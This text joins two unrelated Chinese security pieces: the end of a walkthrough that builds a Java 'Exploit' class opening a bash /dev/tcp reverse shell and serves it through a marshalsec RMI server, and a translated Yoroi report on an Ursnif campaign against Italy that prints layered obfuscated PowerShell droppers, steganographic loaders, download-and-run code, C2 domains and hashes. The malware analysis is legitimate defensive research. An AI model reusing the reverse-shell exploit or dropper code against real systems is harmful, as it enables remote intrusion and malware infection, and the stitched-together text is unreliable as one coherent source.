代码中192.168.253.129/6666修改为攻击机1的ip和监听反弹shell的端口
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
//Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.253.129/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
编写完成后，对该文件进行编译生成对应的class文件
`# javac Exploit.java`
在 攻击机2 上启动RMI和Web服务
· 启动Web服务
`# python -m SimpleHTTPServer 8080`
使用 攻击机1 访问 攻击机2开放的Web服务，如下则成功
启动RMI服务
进入marshalsec打包好的jar包目录执行命令，如下
192.168.253.138:8080 为上述Web服务地址和端口，需自行修改
8888 可为任意端口
`# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.RMIRefServer
"http://192.168.253.138:8080/#Exploit" 8888`
在 攻击机1 上构造恶意请求
发送请求后，等待ncat获取反弹shell，可见在恶意代码中构造的命令执行，成功反弹shell，可以执行命令 | 社区文章 |
# Ursnif木马如何演变以实现对意大利的持续威胁
|
##### 译文声明
本文是翻译文章，文章原作者 yoroi，文章来源：blog.yoroi.company
原文地址：<https://blog.yoroi.company/research/how-ursnif-evolves-to-keep-threatening-italy/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文详细阐述近期Ursnif木马的不断演变，包括其日益复杂的感染链、针对windows 10的新隐写技术以及重度的代码混淆。
## 简介
几个月来，意大利用户一直饱受着携带有臭名昭著Ursnif木马变体的恶意垃圾邮件攻击。Yoroi-Cybaze
ZLab密切关注这些活动并展开分析，以跟踪其技术的发展和感染链的演变，可以观察到其变得越来越复杂化。例如，最近的攻击活动中通过实现对不同国家的检查来提高其目标的针对性能力，并通过重度的代码混淆来提高其反分析能力。
在[之前的文章](https://blog.yoroi.company/research/ursnif-the-latest-evolution-of-the-most-popular-banking-malware/)中，我们列举了Unsnif恶意软件威胁的背后，恶意攻击者所使用的样本传播方式和主要的网络攻击手段（TTPs：Tactics,
Techniques, and Procedures）。事实上，在本篇报告中，我们将详细阐述近期日益复杂的感染链，除了为windows
10设计的一种新隐写技术外，还涵盖了高级别的混淆技术。
## 技术分析
攻击者仍然利用恶意Excel文档来诱导其目标启动感染链，这是启用隐藏在这些攻击向量中的宏代码所必需的环节。
一旦打开文档，一个伪造的模糊图像会邀请受害者启用内容，以启动恶意宏代码（如上图左侧所示）。但是，将模糊的图像移开后会发现，A1单元格内包含隐藏代码：其内容是base64编码的脚本。
如图所示，宏代码从文档的第一个单元格中开始检索内容，然后将其与后续的6行内容连接起来。它的执行启动了感染的“powershell阶段”：一系列的多层混淆脚本。
代码片段1:
powershell.exe -EP bYpass IEx (‘$w=’OBFUSCATED PAYLOAD ZERO‘;$v=[IO.COmpresSIon.comPresSiONmOde];$j=20*60;sal M neW-OBJeCt;$e=[TexT.ENcoDiNG]::ASCiI;(M io.sTreAmreAdER((M Io.coMPREsSIoN.dEfLatesTReam([Io.meMORySTrEam][CoNVERt]::FRomBase64STRINg($w),$v::decOMpREss)),$e)).reaDTOEnD()|&($PshOME[4]+$PshoMe[34]+”x”)’)
## Powershell 阶段
在第一层的混淆中，我们注意到变量`“$j”`的声明，该变量在混淆处理的下一步中用于通过`Sleep`库函数的调用来延迟脚本的执行。
代码片段2:
$b=’i’+$sHeLlid[13]+’X’;if ([Environment]::OSVersion.Version.Major -ne ’10’) {Sleep $j;.($b)(M sYSTEm.Io.CoMpresSiOn.DEFlatestReam([sySTeM.Io.MeMoRYsTREAm] [cOnveRt]::FrOMbASe64stRinG(‘ OBFUSCATED PAYLOAD ONE ‘),$v::DecOMprESs)|%{M syStEM.Io.sTReAmrEADEr($_,[TexT.ENcoDiNG]::ASCIi)}).READtoenD()}else {$h=’$y=@( OBFUSCATED PAYLOAD TWO )’.replace(‘c’,’,0,’);$h=$h.replace(‘b’,’,101,’);$h=$h.replace(‘a’,’,0,0,0,’);.($b)($h);[Reflection.Assembly]::Load([byte[]]$y)|Out-Null;.($b)([SA.Sii]::pf())}
该阶段有趣的一点是其会检查安装在受害者计算机上的windows版本，上面的代码片段中包含一个`if`条件语句，来决定执行哪一个分支的感染链。如果目标版本不是windows
10，恶意软件会运行`OBFUSCATED PAYLOAD ONE`（另外一个分支将会在`The Windows
10分支`章节中阐述）。在`OBFUSCATED PAYLOAD ONE`分支中，其下一步是：
代码片段3:
&(“{1}{0}” -f’x’,’IE’) (((‘.(D’+’Nn’+'{0’+’}{1’+’}DN’+’n-f’+(“{0}{1}”-f ‘ fI’,’Qs’)+(“{0}{1}”-f ‘fIQ’,’,’)+(“{0}{1}” -f’fIQ’,’a’)+(“{0}{1}”-f’lfI’,’Q’)+(((“{0}{1}{2}” -f ‘)’,’ Dfi i’,’ex’)))+’;.’+'(‘+’DNn{0}{‘+’1}DNn’+’ ‘+’-f’+’fI’+(“{0}{3}{2}{1}” -f ‘QS’,’Q’,’Q,fI’,’afI’)+’lf’+(((“{0}{2}{1}”-f’I’,’L n’,’Q) ‘)))+’e’+(“{2}{1}{0}”-f’;’,’t’,’w-objeC’)+’f’+’1’+’e{c’+’1}=((‘+'(DN’+’n{‘+’6’+’}’+'{3}’+'{10}’+'{‘+’4}{8}{‘+’5’+’}{‘+’2’+’}{11’+’}{‘+’1}{9}{0’+’}{7}DNn -f fIQ’+’w’+’f’+(“{0}{2}{1}{3}” -f’IQ,f’,’awfI’,’IQ’,’Q,fI’)+(“{2}{1}{0}”-f’ ‘,’me’,’QNa’)+’Df’+’I’+(“{0}{1}” -f’Q,’,’fIQ’)+’dd’+(“{0}{1}”-f’-T’,’fI’)+(“{1}{0}”-f ‘Q’,’Q,fI’)+’-Af’+’IQ,’+(“{1}{0}” -f ‘Qb’,’fI’)+(“{0}{1}{2}” -f’l’,’yfIQ,’,’fIQA’)+(“{1}{0}”-f ‘,f’,’fIQ’)+’IQ’+(“{0}{1}”-f’;f’,’IQ,’)+’f’+’I’+(“{1}{0}” -f’sse’,’Q’)+(“{0}{1}{2}” -f ‘m’,’fI’,’Q,fIQi’)+’n’+(“{1}{0}” -f’D6fI’,’g’)+(“{1}{0}” -f ‘,fIQype’,’Q’)+(“{0}{1}” -f ‘ ‘,’fIQ’)+’,’+(“{0}{1}”-f ‘fIQ’,’6wSyst’)+(“{0}{2}{1}” -f ’em.D’,’f’,’r’)+(((“{1}{3}{2}{0}”-f ‘reS1ZP’,’IQ)).D’,’n’,’N’)))+’L’+(((“{1}{0}{2}” -f ‘C’,’A’,’eDNn(([‘)))+(“{1}{2}{3}{0}” -f ‘A’,’ChA’,’r]68+’,'[Ch’)+’r]’+(“{0}{1}” -f ’54’,’+[‘)+(“{1}{0}” -f’1′,’ChAr]1′)+’9’+’),[‘+’sT’+’ri’+(“{1}{0}”-f’][C’,’NG’)+’hA’+(“{0}{1}” -f’r]’,’39’)+’));’+’f1e{c2}’+’=’+’f’+’I’+(“{1}{0}”-f’f1e’,’Q’)+’tm’+’=f’+’IQ’+(“{1}{0}” -f’h’,’fIQ’)+’t’+(“{0}{1}” -f’tps:’,’/’)+(“{1}{0}” -f ‘ima’,’/’)+’ges’+(“{0}{1}”-f ‘2.imgb’,’o’)+’x’+’.c’+’o’+’m/d’+’8’+(“{1}{2}{0}”-f’u’,’/0′,’e/eyGV’)+’p7s’+’_o.’+(“{1}{0}” -f’fIQ’,’pngfIQ’)+’;f’+’1e’+’r’+’y =’+(“{0}{1}” -f’ [Sys’,’te’)+’m.N’+(“{1}{0}”-f’ebR’,’et.W’)+’equ’+’es’+(“{0}{1}{2}”-f ‘t’,’]::’,’Creat’)+(((“{0}{1}” -f ‘e(‘,’f1e’)))+’t’+’m);’+(“{0}{1}” -f ‘f1′,’ery’)+’.Me’+(“{1}{0}” -f ‘od =’,’th’)+’ f’+’I’+’QfI’+’QH’+(“{0}{1}” -f’E’,’ADf’)+(“{1}{2}{0}”-f ‘;f1′,’IQ’,’fIQ’)+’e’+’ra’+’ ‘+’= f’+(“{0}{1}” -f ‘1e’,’ry.’)+’G’+’etR’+’es’+(“{0}{1}” -f ‘pon’,’s’)+(“{1}{2}{0}”-f ‘g’,’e(‘,’);f1e’)+’=’+’L ‘+’Sy’+’st’+’e’+’m’+’.’+’D’+’ra’+(((“{4}{3}{2}{0}{1}”-f’m’,’ap((‘,’t’,’g.Bi’,’win’)))+’L’+’ ‘+(“{1}{2}{0}” -f’ebC’,’Net.’,’W’)+(((“{2}{1}{3}{0}” -f’.Ope’,’ien’,’l’,’t)’)))+’n’+’Rea’+(((“{1}{0}{2}” -f’t’,’d(f1e’,’m))’)))+(“{2}{0}{1}” -f ‘eo=’,’L’,’;f1′)+’ B’+’yte’+(“{1}{0}”-f ‘ 165′,'[]’)+’60’+(((“{0}{1}” -f ‘;’,'(0..’)))+’35)’+’uXc’+’%’+'{‘+(((“{2}{0}{1}” -f’each’,'(f’,’for’)))+’1ex’+(((“{1}{0}” -f’in(‘,’ ‘)))+’0.’+’.4’+’59)’+’){f’+’1ep’+(“{0}{1}”-f’=f’,’1e’)+(“{1}{0}” -f ‘et’,’g.G’)+(((“{0}{1}{3}{2}”-f ‘Pixe’,’l(‘,’ex,’,’f1′)))+(((“{1}{0}{2}” -f ‘1e_’,’f’,’);’)))+’f1’+’e’+(“{2}{1}{0}”-f ‘6’,’1e_*4′,’o[f’)+’0+f’+’1’+’e’+’x’+(((“{0}{1}{3}{2}”-f’]=(‘,'[math]’,’F’,’::’)))+’lo’+(((“{0}{1}” -f’o’,’r((f’)))+’1’+’ep.’+(((“{1}{0}”-f ’15)’,’B-band’)))+’*’+’16)’+’-b’+’o’+’r(f1e{‘+’P’+’}.DN’+(“{1}{2}{0}”-f ‘Nn-b’,’ng’,’D’)+’a’+(“{0}{1}” -f ‘n’,’d 15′)+’))’+’};f1ekk=’+'[S’+(“{0}{1}{2}”-f’yste’,’m’,’.Tex’)+’t.’+(“{0}{2}{1}”-f ‘En’,’di’,’co’)+(“{0}{1}{2}” -f’n’,’g]::UT’,’F8′)+(“{1}{0}{2}”-f ‘Get’,’.’,’Str’)+(((“{0}{1}” -f’ing’,'(‘)))+’f’+’1eo’+'[‘+’0.’+’.’+’162’+’8’+’6])}fIQ;&’+'(D’+’Nn{‘+’0}{1}DNn -ffI’+(“{0}{1}” -f’Qd’,’fIQ,’)+’fI’+(((“{0}{1}” -f ‘Qfi’,’fIQ) ‘)))+’f1e’+’C1f’+’1ec’+(“{0}{1}”-f’2uX’,’c’)+’&(DNn{1}{0’+’}DN’+’n’+’-‘+(“{1}{0}” -f ‘fIQ’,’f’)+(“{2}{1}{0}” -f ‘,f’,’Q’,’ifI’)+’IQ’+(((“{1}{0}{2}”-f’IQ’,’dff’,’);f’)))+’1e{kk}uXc.(DN’+’n’+'{1’+’}’+'{0}D’+’N’+’n-f’+(“{1}{2}{0}”-f’Q’,’fIQi’,’fI’)+’,’+’f’+’IQd’+’ffI’+’Q)’)-CrePlacE([CHAr]68+[CHAr]78+[CHAr]110),[CHAr]34 -REPLace([CHAr]117+[CHAr]88+[CHAr]99),[CHAr]124 -CrePlacE’f1e’,[CHAr]36 -REPLace ([CHAr]83+[CHAr]49+[CHAr]90),[CHAr]96 -CrePlacE ([CHAr]102+[CHAr]73+[CHAr]81),[CHAr]39) )
产生如下代码片段：
代码片段4:
.(“{0}{1}”-f ‘s’,’al’) Dfi iex;.(“{0}{1}” -f’Sa’,’l’) L new-objeCt;${c1}=(((“{6}{3}{10}{4}{8}{5}{2}{11}{1}{9}{0}{7}” -f ‘w’,’aw’,’Name D’,’dd-T’,’-A’,’bly’,’A’,’;’,’ssem’,’ingD6′,’ype ‘,’6wSystem.Dr’)).”re`PLACe”(([ChAr]68+[ChAr]54+[ChAr]119),[sTriNG][ChAr]39));${c2}=’$tm=”https://images2.imgbox.com/d8/0e/eyGVup7s_o.png”;$ry = [System.Net.WebRequest]::Create($tm);$ry.Method = ”HEAD”;$ra = $ry.GetResponse();$g=L System.Drawing.Bitmap((L Net.WebClient).OpenRead($tm));$o=L Byte[] 16560;(0..35)|%{foreach($x in(0..459)){$p=$g.GetPixel($x,$_);$o[$_*460+$x]=([math]::Floor(($p.B-band15)*16)-bor(${P}.”g”-band 15))};$kk=[System.Text.Encoding]::UTF8.GetString($o[0..16286])}’;&(“{0}{1}” -f’d’,’fi’) $C1$c2|&(“{1}{0}”-f’i’,’df’);${kk}|.(“{1}{0}”-f’i’,’df’)
这段代码在ursnif感染链中很常见，其功能是从图片共享平台（例如imgbox.com）上下载特定的PNG图像。该图像通过已经阐述的[LSB隐写技术](https://blog.yoroi.company/research/ursnif-long-live-the-steganography/)，隐藏着下一步的powershell代码。
这张看似无害的图像中隐藏的代码如下：
代码片段5:
if((g`E`T-date -uformat (‘%B’)) -like (“{1}{0}”-f’gg*’,’*’)){& ( $vERboSEPrefeRENCE.TosTRInG()[1,3]+’x’-Join”)(New-OBJeCT Io.COmpREssiOn.DefLatEStREAm( [Io.MemORySTream] [ConvErt]::fRoMBAse64STrING(‘ OBFUSCATED PAYLOAD THREE ‘ ), [Io.compREsSIon.ComPrEssIoNmODE]::dECOMprEsS ) | foreaCH-obJect{ New-OBJeCT SYstEM.io.StreAmREAdER($_,[TExt.ENcodINg]::ASCII )}).reADtoEnD()}
仔细观察代码的第一行，可以注意到只有在特定条件满足时才会执行此代码：它检索当前日期，提取其中的月份字段，在本示例中是5月（意大利语的Maggio），并将其与正则表达式`*gg*`进行比较。此检查确保目标用户是意大利用户，并根据活动时间跨度运行该样本。一旦条件满足，将执行`OBFUSCATED
PAYLOAD THREE`，揭示另一个混淆层。
代码片段6:
” $( sET ‘OFs’ ”)”+ [sTRiNG]( ‘ OBFUSCATED PAYLOAD FOUR ‘ -sPLIT’@’-sPLiT ‘&’ -SPlIt ‘B’-spLIT’t’-SPliT ‘Y’-spLiT ‘e’-spLIt ‘:’ -sPLIt'<‘ -sPLIt ‘m’-SPLit ‘n’ | FOrEACh-obJEcT{ ([CoNvERt]::ToinT16(( $_.tOStrinG() ) , 8)-AS[chaR]) }) +” $( Set-itEM ‘VArIAblE:ofS’ ‘ ‘ )” |&((gV ‘*mdR*’).nAME[3,11,2]-JOIn”)
第四个PAYLOAD基本上是以十六进制编码的，添加了其他的特定字符，并且可以通过`[Convert]::ToInt16()`函数进行恢复。由此揭开另一层混淆：
代码片段7:
(NeW-ObJEct syStEm.iO.compReSsIOn.dEfLatESTrEAM([Io.MeMoRySTReAm] [sYsteM.COnveRT]::fRombAsE64sTRINg(‘ OBFUSCATED PAYLOAD FIVE ‘),[sYstEm.Io.CompREsSIoN.cOmprEsSIonmoDE]::DeCoMPress )| FOrEACH {NeW-ObJEct SYstem.iO.StREaMREadER($_, [sYsTEm.tExT.eNCodinG]::aSCii )}).Readtoend() | & ( $enV:COmSpeC[4,26,25]-join”)
第五个payload是一段压缩的base64编码字符串，立即解压并执行，进入第六步payload：
代码片段8:
(‘ OBFUSCATED PAYLOAD SIX ‘.SpLit( ‘V%JLg<,t}y’)|foreaCh{[cHaR]( $_-bxOr’0x52′ )}) -jOIn ”| & ((vaRiABlE ‘*MDR*’).NamE[3,11,2]-join”)
这一混淆层不同寻常，因为其包含一段大量垃圾字符串的十六进制代码，事实上，利用`0x52`进行异或加密，其结果如下：
代码片段9:
((vari`A`BlE (“{1}{0}” -f’r*’,’*md’)).”n`Ame”[3,11,2]-jOiN”) ((‘&(iIm{0}{1}iIm-f6c0wr6c0,6c0it’+’e’+(“{9}{4}{1}{10}{0}{7}{5}{6}{8}{2}{3}”-f’00000000′,’0′,’000;&’,'(‘,’) 0′,’00’,’0′,’0000000′,’00000′,’6c0′,’0′)+’iIm{1}{0}iIm-f 6c0p6c0,6c0slee6c0) (5*20);i’+(((“{6}{5}{2}{4}{0}{3}{7}{8}{1}{9}”-f ‘+’,’0Xb’,’ ((6c0HKC’,’6c0′,’6c0′,’6c0)’,’f((&(6c0gp’,’U:6c0+’,’6c’,’D’)))+(“{7}{0}{8}{2}{3}{9}{1}{6}{4}{5}{10}” -f’6c0+6′,’c0b’,’6c0′,’+6c0′,’c0+6c0Deskt6c0+’,’6c’,’D6′,’Con’,’c0trol ‘,’PanelX6c0+6′,’0op6c’)+(“{8}{10}{6}{2}{1}{0}{9}{3}{7}{4}{5}”-f ‘(‘,’E’,’c’,’CHar]88′,’]98′,’+[CHar]’,’la’,’+[CHar’,’0) -cRE’,'[‘,’p’)+(((“{1}{0}{2}” -f’8),[C’,’6′,’Har’)))+’]92) o6F .(iIm{0}{1}iIm-f 6c0Sele6c0,6c0ct6c0) -Property (6c0*6c0)).iImprEFEr4xTRE4xTD’+(“{0}{1}{2}” -f’U4x’,’T’,’I4xTl’)+(“{0}{3}{1}{2}” -f ‘A’,’UAG’,’esiIm’,’NG’)+(((“{0}{2}{1}{3}”-f’ -l’,’ke (‘,’i’,’6c0′)))+’*t-6c0+6c0I*6c0)){lH0{gO}’+(((“{3}{1}{14}{2}{16}{7}{0}{6}{5}{9}{12}{10}{13}{4}{11}{8}{15}” -f’6c0′,’c0htt’,’c0+6c0//’,’=(6′,’fo’,’tindef.6′,’a’,’d6c0+’,’/6c0+6c0///6c0+6c0/6c0+6c0/6c’,’c’,’c0in6c0+6c’,’6c0+6c0/’,’0+6′,’0′,’ps:6′,’0+6c0′,’newup’)))+(“{3}{5}{0}{1}{2}{4}”-f ‘..6′,’c0+’,’6c0..6c’,’/….6c0+6c0′,’0+’,’..’)+(“{1}{0}{2}{3}” -f ‘c0.e6c0+’,’6′,’6c0x’,’e’)+’6c0),iImiIm;foreach(lH0{u} in lH0{G4xTO}){Try{lH0{R4xTI} = iImlH0env:temp8SdTwain002.exei’+’Im;lH0{k4x’+’Tl} ‘+’= &(iIm{1}{2}{0}iIm -f6’+’c0ect6c0,6c0New-O6c0,6c0bj6c0) (iIm{5}{4}{1}{‘+’0}{3}{2}iIm-f6c0eb6c0,6c0tem.Net.W6c0,6c0t6c0’+’,6c0Clien6c0,6c0s6c0,6c0Sy6c0);lH0{K4xTL}.iImHEA4xTDErsiIm.(iIm{0}{1}iIm-f 6c0Ad6’+(((“{17}{26}{11}{0}{6}{16}{20}{1}{3}{23}{9}{13}{8}{22}{18}{19}{4}{14}{15}{21}{25}{24}{2}{5}{12}{7}{10}”-f’c’,’e((6c0′,’c0Win’,’use’,’,(6c0Moz’,’dow6′,’0′,’0+’,’-age’,’c0+’,’6c’,’,6′,’c’,’6c0r’,’illa6c0′,’+’,’d’,’c’,’6c0′,’t6c0)’,’6c0).Invok’,’6c0/5.’,’n6c0+’,’6′,’0+6′,’0 (6c’,’0′)))+(“{5}{1}{9}{7}{12}{2}{0}{11}{8}{3}{6}{10}{4}”-f ‘6’,’0+’,’in’,’6c0+6c0 ‘,’ ‘,’0s6c’,’x64;6′,’ NT 10.0; ‘,’;’,’6c0′,’c0+6c0′,’4′,’W’)+(“{6}{2}{0}{5}{4}{7}{1}{3}” -f’r’,’v:’,’0+6c0′,’66.06c0+6′,’+6c’,’6c0′,’6c’,’0′)+(((“{2}{6}{3}{0}{5}{4}{1}”-f’0+’,’+’,’c0) Gec6c0+6′,’0k6c’,’6c0′,’6c0o’,’c’)))+(“{2}{4}{8}{6}{1}{5}{0}{3}{7}”-f ’00’,’c0+6′,’6c0/206c0+’,’6c0+’,’6′,’c’,’016′,’6′,’c’)+(“{1}{0}”-f’001′,’c’)+(“{0}{1}{2}”-f ‘6’,’c0+6c’,’0′)+(“{1}{0}{2}”-f ‘+6′,’016c0′,’c0 Fi’)+(((“{0}{6}{9}{4}{8}{2}{7}{3}{5}{1}”-f’re6′,’006c0))’,’6′,’6c0+6′,’/’,’c’,’c0+6c’,’c0+6c06.’,’6′,’0fox’)))+’;lH0{KL}.(iIm{2}{1}{3}{0}iIm -f6c0e6c0,6c0nload6c0,6c0Do’+’w6’+’c0,6c0Fil6c0).Invoke(lH0{u}’+’, lH0{rI’+’});if((lH0{hO4xTst}.iImCurr’+’4xTentc4xTUl4xTTuREiImo6F .(iIm{1}{0}{2}iIm-f6c0t-Str’+(((“{2}{5}{0}{8}{3}{4}{10}{6}{7}{9}{1}” -f ‘0,6’,’0*a6c0′,’6′,’Ou6c0,’,’6c0′,’c’,’0)) -li’,’ke (‘,’c0′,’6c’,’ing6c’)))+’+6c0li*6c0)){&(iIm{0}{1}iIm-f6c’+’0’+(“{3}{2}{1}{0}” -f’0ps’,’c0,6c’,’6′,’Sa’)+’6c0’+’) lH0{RI};break}}Catch{.(iIm{‘+’2}{1}{3}{0}iIm-f 6c0ost6c0,6c0te-6c0,6c0Wri6c0,6c0H6c0) lH0{_}.iImExce4xTPt4xTiON’+(“{1}{2}{3}{0}{4}”-f’s’,’i’,’Im.iIm’,’ME’,’4xTs4xTAgE’)+’iIm}}}’).”r`EpLAcE”(([cHAR]111+[cHAR]54+[cHAR]70),[stRiNg][cHAR]124).(‘r’+’eplA’+’cE’).Invoke(‘8Sd’,’’).”R`E`PLace”(([cHAR]52+[cHAR]120+[cHAR]84),[stRiNg][cHAR]96).”REp`la`Ce”(([cHAR]105+[cHAR]73+[cHAR]109),[stRiNg][cHAR]34).”r`e`pLaCE”(‘lH0’,[stRiNg][cHAR]36).”r`EplA`Ce”(([cHAR]54+[cHAR]99+[cHAR]48),[stRiNg][cHAR]39))
至此，代码已经相对清晰了。我们注意到，有一些额外的替换操作来混淆代码，因此，我们进入混淆的最后一步：
代码片段10:
&(“{0}{1}”-f’wr’,’ite’) 00000000000000000000000000000;&(“{1}{0}”-f ‘p’,’slee’) (5*20);if((&(‘gp’) ((‘HKC’+’U:’+’XbDCon’+’trol ‘+’PanelX’+’bD’+’Deskt’+’op’) -cREplacE([CHar]88+[CHar]98+[CHar]68),[CHar]92) | .(“{0}{1}”-f ‘Sele’,’ct’) -Property (‘*’)).”prEFEr`RE`DU`I`lANGUAGes” -like (‘*t-‘+’I*‘)){${gO}=(‘https:’+’//newupd’+’atindef.’+’in’+’fo’+’//’+’///’+’/’+’/’+’/….’+’….’+’..’+’.e’+’xe’),””;foreach(${u} in ${G`O}){Try{${R`I} = “$env:tempTwain002.exe”;${k`l} = &(“{1}{2}{0}” -f’ect’,’New-O’,’bj’) (“{5}{4}{1}{0}{3}{2}”-f’eb’,’tem.Net.W’,’t’,’Clien’,’s’,’Sy’);${K`L}.”HEA`DErs”.(“{0}{1}”-f ‘Ad’,’d’).Invoke((‘use’+’r-agen’+’t’),(‘Mozilla’+’/5.0 (‘+’Window’+’s’+’ NT 10.0; Win64;’+’ x64;’+’ ‘+’r’+’v:66.0’+’) Gec’+’k’+’o’+’/20’+’1’+’0’+’01’+’01’+’ Fire’+’fox/6’+’6.’+’0′));${KL}.(“{2}{1}{3}{0}” -f’e’,’nload’,’Dow’,’Fil’).Invoke(${u}, ${rI});if((${hO`st}.”Curr`entc`Ul`TuRE”| .(“{1}{0}{2}”-f’t-Str’,’Ou’,’ing’)) -like (‘*a’+’li*’)){&(“{0}{1}”-f’Sa’,’ps’) ${RI};break}}Catch{.(“{2}{1}{3}{0}”-f ‘ost’,’te-‘,’Wri’,’H’) ${_}.”Exce`Pt`iON”.”MEs`s`AgE”}}}
这是最后一步，也是`powershell stage`中至关重要的一步。实际上，该步骤的目的从一个非常隐蔽的站点位置下载一个PE32
payload，移动到`%TEMP%`路径然后执行它。
## 加载器
至此，我们分析了一系列难以置信的复杂powershell代码片段，但是，我们也不要忘记PE32 payload。
该样本是一个典型的ursnif
dll加载程序，能够将恶意代码注入到`explorer.exe`进程中，该特定样本已从`loaidifds[.club`服务端下载。
最终的payload只是一个base64编码的可执行程序：将要注入到`explorer.exe`进程中的dll。
## payload有效载荷
这是一个典型的ursnif恶意payload。为了提取出一些有意思的数据，我们手动对其进行分析。
在检查dll时，我们发现其在配置文件中包含3个C2的引用。在分析的过程中，前两个C2，`filomilalno[.club`和`fileneopolo[.online`仍然活跃。此外，通过分析dll，我们发现了一些其他有趣的配置字符串信息，将会在配置字符串章节详细阐述。
## Windows 10 分支流程
回看 **代码片段2** ，我们提到了其对安装的windows操作系统版本的检查。这里，我们将继续分析其另一个控制流程的分支，即windows 10分支：
代码片段11:
$h=’$y=@( OBFUSCATED PAYLOAD TWO )’.replace(‘c’,’,0,’);$h=$h.replace(‘b’,’,101,’);$h=$h.replace(‘a’,’,0,0,0,’);.($b)($h);[Reflection.Assembly]::Load([byte[]]$y)|Out-Null;.($b)([SA.Sii]::pf())
指令的结构非常简单：PAYLOAD TWO实际上是一个十进制数字序列，随即被其他字符替换。替换完成后，通过一下命令来执行payload：
[Reflection.Assembly]::Load([byte[]]$y)
这意味着变量`$Y`的内容实际上是.NET动态链接库。它具有以下静态信息：
该dll的目的是下载另一个包含一系列命令的PNG图像，通过隐写技术实现隐藏。有趣的是，该库并没有导出函数，加载的代码直接由powershell命令`([SA.Sii]::pf())`调用，其位于
**代码片段11** 中，在命名空间`SA`内检索`sii`类，并调用静态方法`pf`:
`pf`方法设计的目的是从合法的`postimg[.cc`平台上下载PNG图像，在这种情况下，隐写技术在另一个控制流分支中具有不同的应用。事实上，恶意软件也使用了一层AES加密。细心的读者能够注意到DLL中所使用的加密体制的特殊性：加密不仅提供了对在线隐写分析的保密性，还提供了对所在国家的检查，以确保受害者是所针对的目标之一。实际上，解密密钥是由当前`CultureInfo`的`LCID`属性生成的，其数据结构提供了计算机的日历、语言和区域设置等信息。
`pf（）`函数的返回值是隐藏在上图中的payload，显然，这是一个混淆的powershell脚本。和之前的分支一样，该payload包含多层次的重度混淆，这里一共有6层。
此分支的第六个powershell阶段包含2个国家/地区的检查，而不仅仅是一个。
第一项检查是`HKCU:Control PanelDesktop`注册表项，其必须具有和`It`字符串匹配的 **首选语言**
；第二项检查是powershell命令`${host}.CurrentCulture`的结果，必须与子字符串`ali*`匹配，明确指定了意大利语。
代码片段12:
if((&(‘gp’) (((“{0}{4}{3}{1}{5}{2}”-f’HKCU:{0}Control P’,’}D’,’sktop’,’l{0′,’ane’,’e’)) -f [Char]92) | &(“{0}{1}” -f ‘Sele’,’ct’) -Property (‘*’)).”p`R`efeRR`EduiL`AnguA`gES” -like (“{1}{0}” -f’*’,’*t-I’)){${GO}=(“{0}{4}{3}{7}{1}{5}{6}{2}” -f’https://newupd’,’///……’,’e’,’f.info///’,’atinde’,’….’,’.ex’,’//’),””;foreach(${u} in ${GO}){Try{${RI} = “$env:tempTwain002.exe”;${k`L} = .(“{1}{0}{2}” -f ‘ec’,’New-Obj’,’t’) (“{0}{4}{2}{3}{1}” -f ‘System.Ne’,’nt’,’Cl’,’ie’,’t.Web’);${Kl}.”Head`ers”.”A`DD”((“{2}{1}{0}{3}” -f’e’,’r-ag’,’use’,’nt’),(“{10}{14}{6}{12}{8}{5}{3}{7}{11}{13}{0}{2}{15}{9}{4}{1}”-f’64;’,’Firefox/66.0′,’ rv:6′,’ W’,’ ‘,’10.0;’,’o’,’in’,’ NT ‘,’ Gecko/20100101′,’Mozilla/5.0 (‘,’64; ‘,’ws’,’x’,’Wind’,’6.0)’));${k`L}.”DOWNl`oadf`ilE”(${u}, ${r`I});if((${h`osT}.“Cu`Rr`En`T`cultURe”| &(“{1}{0}{2}” -f’-Stri’,’Out’,’ng’)) -like (“{1}{0}”-f’i*’,’*al’)){.(“{0}{1}”-f ‘S’,’aps’) ${Ri};break}}Catch{&(“{2}{3}{1}{0}” -f’t’,’s’,’Write-‘,’Ho’) ${_}.”EXC`epTION”.”m`ES`SAge”}}}
随后，我们便得到和 **加载器** 章节中相同的payload。
## 总结
Cybaze-Yoroi ZLAB
团队分析了过去几个月中，许多与ursnif有关的攻击活动，最近的几次活动表明其愈发复杂和狡猾，尤其是在攻击杀伤链的武器化阶段，以及在传递payload时所准备的多层次、高混淆的感染链。
考虑到该恶意软件对于意大利全境的威胁规模和持续性，很明显，这些攻击背后的威胁组织正在大力地利用自动化的攻击武器，并投入资源、时间和金钱来准备复杂的、精准打击的感染链。这些都表明，意大利在持续地受到网络罪犯的攻击，这些攻击者已经达到了一定程度的组织熟练度，并且持续改进其攻击技巧，这都意味着意大利的各公司和组织所面临风险的增加。
## IOCs
#### Hashes
* bb5dab56181dbb0e8f3f9182a32e584315cd1e6e2fedb2db350e597983f0e880
* abb8a8351bb83037db94cd2bb98a8f697260f32306c21a2198c6b7f1a3bd1957
* 07d340cc0c476e8098a9979714f811e040076666bd8d82e229a89b0b394ae835
* 062389d43ee85c4b1cfda62dc09494db8f99c57aac15b2a237c4929bbf69185d
* f09c85e45d1d764162c44867d8944220e0d8db1cb9ed06fd9b5cc36ae28de4b8
* f2013e97c18531fd5a812f365dbd070e5d7e75192bfbb519261effcfd09fcd89
* f652a3f6cd614caede3ca57d33f530200c07798d3dc19fccf787fb93286dd87a
* 5aaf08c96b9704d7c968bfea8524380e5698e9f478340665623c4ac3b9b9ed24
* b8269764469c32d223840a8733ad08059c475c527079e606ed6aa22dff2f68bb
* 5b82967c329f622b387061c6de3fb05b7a7f2ba48aeef5976882dc4f2a082d67
* 8c33d3df82a671bf5256764468e2c9b15edabe55260393d31fbbc7d90260daf6
* dac0427eebc39d4b789ae71d9944ccfd622ab1da8f242a4c5a46eed32af77469
* ba53cf421f47a08f0cf4d1da95597ffb7199df329c005f2b0b3d96e653455e1a
* 32609cf05b444907eab4b97630b278ea949439dad9aa4c08c01a199cdf971dba
* e9c837c857defea2ab71707fbbde992876b15d51d4a35578d45f89060e722cff
